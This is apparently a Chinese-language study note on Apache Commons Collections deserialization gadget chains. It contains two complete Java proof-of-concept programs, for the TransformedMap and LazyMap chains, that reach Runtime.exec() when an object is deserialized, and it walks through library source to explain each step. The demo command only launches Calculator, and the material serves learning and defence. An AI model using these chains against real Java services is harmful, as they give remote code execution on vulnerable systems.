commons-collections 利用链学习
环境搭建
IDEA+docker进行远程漏洞调试:https://www.cnblogs.com/ph4nt0mer/p/11772709.html
TransformedMap利用链
完整demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class testExec1 {
public static void main(String[] args) throws Exception {
Transformer[] trans_chain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(trans_chain);
HashMap innerMap = new HashMap();
innerMap.put("value","b");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
0x01
最终目的是执行命令也就是Runtime.getRuntime().exec()
。为了完成Runtime.getRuntime().exec()
,这里涉及到了三个类,这三个类的transform
方法都有着神奇的作用
ConstantTransformer | InvokerTransformer | ChainedTransformer |
---|---|---|
返回传入的对象 | 根据传入的函数名、函数参数去调用函数 | 遍历调用传入数组每个元素的transform方法 |
ConstantTransformer.transform
返回传入的参数,传入Runtime.class
完成第一步。
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer.transform
根据传入的函数名和该函数参数去调用该函数,分别获得getRuntime
和exec
。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer.transform
根据传入的Transformer数组遍历调用transform
,达成Runtime.getRuntime().exec()
。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
所以下一步就是想办法达成chain.transform(1);
0x02
在TransformedMap
类中有transformKey
、transformValue
、checkSetValue
、put
这几个方法都直接或者间接调用了transform
函数。
上帝视角得知TransformedMap
父类AbstractInputCheckedMapDecorator
里的entry
在调用setValue
方法时会自动调用checkSetValue
方法
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
我们可以用TransformedMap
里的decorate
方法将参数布置好
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
之后setValue
就能触发代码执行
HashMap innerMap = new HashMap();
innerMap.put("value","b"); //通过调试可以知道必须为“value”
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
Map.Entry entry= (Map.Entry)(outerMap.entrySet().iterator().next());
entry.setValue("a");
0x03
接下来就是找某个readObject
调用了setValue
。在jdk1.7的AnnotationInvocationHandler
类中,readObject
的var5
执行了setValue
,var5
来自memberValues
,而memberValues
又可控,只需要满足if条件
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
利用反射来实例化
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
LazyMap利用链
完整demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class testExec {
public static void main(String[] args) throws Exception {
Transformer[] trans_chain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(trans_chain);
HashMap innerMap = new HashMap();
innerMap.put("value","b");
Map lzMap = LazyMap.decorate(innerMap,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lzMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,mapProxy);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
0x01
先将ChainedTransformer
布置好放入LazyMap
,LazyMap
的get
方法调用了transform
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
而this.factory
又是可控的,将其设置为ChainedTransformer
就能进行链式调用
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
0x02
通过反射来实例化AnnotationInvocationHandler
,这个类里的invoke
调用了get
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
通过动态代理来触发invoke
每一个动态代理类都必须要实现
InvocationHandler
这个接口,并且每个代理类的实例都关联到了一个handler
,当代理类对象调用一个方法的时候,这个方法的调用就会被转发为由InvocationHandler
这个接口的invoke ()
方法来进行调用。
Reference
apache commons-collections中的反序列化